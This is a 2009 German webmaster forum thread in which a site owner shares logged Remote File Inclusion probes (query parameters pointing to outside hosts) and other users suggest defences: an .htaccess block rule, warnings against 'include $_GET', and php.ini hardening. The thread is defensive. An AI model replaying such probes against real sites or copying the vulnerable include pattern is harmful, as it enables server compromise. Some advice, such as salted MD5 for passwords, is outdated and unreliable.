Seite 1 von 1

Was kann ich machen, es wird langsam zuviel?

Verfasst: 28.05.2009, 11:31
von JohnBi
Bei einem meiner neuen Projekte kommen immer wieder solche Hits zustande...

Code: Alles auswählen

index.php?s=http://193.255.208.32:2082/index.html?  (Schweiz)
index.php?s=http://mattd.100webspace.net/bike.htm? (Japan)
index.php?s=http://144.206.186.112:2666/index.html? (Deutschland)
index.php?s=http://bikelove.hostinginfive.com/bike.htm? (Singapore)
index.php?s=http://schoolpapers.hostinginfive.com/bike.htm? (?)
usw. 
Und davon hab ich täglich 100 Besucher die immer wieder da irgendwas probieren, ich hab mich bissel eingelesen und es handelt sich wohl um RFI (Remote File Inclusion)
https://de.wikipedia.org/wiki/Remote_File_Inclusion
aber wirklich was damit anfangen kann ich nicht, wie wehre ich solche Attacken ab?

Verfasst:
von

Verfasst: 28.05.2009, 11:32
von TBT
eine .htaccess anlegen, und die Zugriffe sperren

Code: Alles auswählen

RewriteEngine On
RewriteCond %{QUERY_STRING} (https?|ftps?):// [NC]
RewriteRule .* - [F,NS,L]

Verfasst: 28.05.2009, 11:39
von JohnBi
wow, vielen Dank - jetzt bin ich total erleichtert... danke

Verfasst:
von

Verfasst: 28.05.2009, 12:23
von Airport1
.. oder das script von bot-trap (siehe sig) nutzen, und dort die sogen. "query injection protection" anschalten ;-)

man muss sich aber klar sein dass FALLS man auf seiner eigenen website links oder navis hat die http:// IM QUERY enthalten, dann auch nimmer gehen.

Verfasst: 28.05.2009, 12:31
von Alda
Airport1 hat geschrieben:.. oder das script von bot-trap (siehe sig) nutzen,
Kann ich nur empfehlen. Hab ich Dir eigentlich dafür schon mal "Danke" gesagt?

Wenn nicht, dann an dieser Stelle noch einmal meinen Dank für dieses tolle Engagement.

Verfasst: 28.05.2009, 12:36
von oliverp19
Hallo,

wenn du nicht irgendwo sowas wie:

Code: Alles auswählen

include $_GET['s'];
oder

Code: Alles auswählen

require $_GET['s']
verwendest, ohne den Parameter $_GET['s'] vorher auf gültige Werte zu überprüfen kann da eigentlich nichts schlimmes passieren. Im Übrigen sollten übergebene Werte (POST, GET etc) IMMER auf Gültigkeit überprüft werden.

Grüße
Oli

Verfasst: 28.05.2009, 12:39
von mgutt
1.) Die Attacken laufen ins Leere, entsprechend brauchst Du Dir überhaupt keine Gedanken machen. Kämen sie durch, hättest Du das bereits gemerkt ;)

2.) Bringt eine .htaccess nur 30% Schutz und zwar über GET-Anfragen. POST und COOKIE sind damit immer noch außen vor. Je nach Verarbeitung durch Dein Script (REQUEST) kann eine POST-Anfrage auch GET Lücken ausnutzen bzw. viele Lücken sind direkt in POST, daher kein Schutz per .htaccess möglich. In Deinen Logfiles steht dann z.B. nur die Domain bzw. die Unterseite und "POST". Welche Daten gesendet wurden, kannst Du auf diese Art nicht in Erfahrung bringen.

3.) Jeder Filter bedeutet Last für Deinen Server. Der Zugriff selbst wird damit aber nicht verhindert, sondern nur geblockt. D.h. der Angriff steht nach wie vor in den Logfiles und der Webserver muss sie nach wie vor verarbeiten. Der Aufruf durch den Bot lädt keine Scripte und Bilder, daher blockt man mit der .htaccess einzig und alleine das Laden des HTML-Quelltextes.

Du kannst Dich nur schützen, wenn Du Deine Scripte frei von Fehlern hälst oder wenn Du bekannte Lücken vermeidest. D.h. Du erlaubst lokal keine Einbindung von externen Scripten:
php.ini:
allow_url_fopen = OFF

Unter Umständen funktionieren manche Scripte dadurch aber nicht mehr. Besonders wenn es dynamische Scripte sind, die bei Updates "nach Hause telefonieren". Ein Test wird Dir aber zeigen, ob es was bringt.

Du verhinderst die allgemeine Wandlung von URL-Parametern in Variablen:
php.ini:
register_globals = OFF

Du verhinderst den häufigsten Bug in PHP: Buffer-Overflow:
- Suhosin auf dem Server installieren

Fehlermeldungen vermeiden (machen Banken grundsätzlich so):
- SQL-Fehler nicht ausgeben (verrät Datenbankstruktur)
- PHP-Fehler nicht ausgeben (verrät Pfade)

Passwortdiebstahl vermeiden:
- niemals das gleiche Passwort auf anderen Seiten verwenden (das wird immer in Klarschrift an den Server übertragen und dann verschlüsselt, d.h. der Seitenbetreiber kann problemlos von jedem das Passwort in Klarschrift ermitteln, wenn er das wollte)
- Passwort entsprechend schwer machen und für Social Engineering unmöglich gestalten

Jetzt musst Du Dir nur noch Sorgen wg. Session Hijacking, Internal File Inclusion, lokale Trojaner (FTP Passwort-Diebstahl), usw. machen :lol:

Im Grunde wollen Hacker übrigens "nur" die Userdatenbanken (Passwort und Emailadresse) oder Emails (Spam) versenden. Beides kann in Geld umgewandelt werden. Für uns heißt das:
- Emails in der Datenbank per Salt verschlüsseln (z.B. AES_ENCRYPT in MySQL)
- Passwörter per MD5 oder SHA und immer mit Salt verschlüsseln
- den Server vor einem direkten Zugriff schützen, d.h. Installation von Software unmöglich machen, Mail-Traffic beobachten bzw. getrennte Warnhinweise verfassen

Die besten Hacker sind übrigens die, die eine Lücke nicht publik machen und lange Zeit für eigene Zwecke missbrauchen. Im Fall von Ebay jahrelang passiert, nur nie wirklich publik gemacht. Ebay ist es aufgefallen, nachdem zu viele Hacker sich deswegen austauschten und Mitgliedsdaten verkauften bzw. einer sogar Screenshots vom Adminbereich ins Netz stellte. Ebay weiß es seitdem sie die Bieternamen in der Gebotsliste zensiert haben (falls ihr euch wundert, warum das gemacht wurde).

Verfasst: 28.05.2009, 12:50
von JohnBi
Jo, dank euch ... ich werde mich damit näher befassen, aber das Projekt war gerade 1 Monat alt und da kommen die Typen aus den Boden gekrochen wie die Pilze täglich 100 und immer wieder... Da kriegt man Muffensausen...

Verfasst: 28.05.2009, 13:08
von mgutt
Umso größer die Seite, umso mehr Probeattacken wirst Du erfahren. Bei mir geht jede mögliche Software rauf und runter. Egal ob installiert oder nicht. Die Hacker testen mit ihren Autoscripten einfach durch, ob ein Angriff klappt oder nicht.

In meinen Augen kann man dagegen nur was unternehmen, in dem man dem IP-Inhaber eine Abuse-Mail schickt, aber wer macht schon den Aufwand :P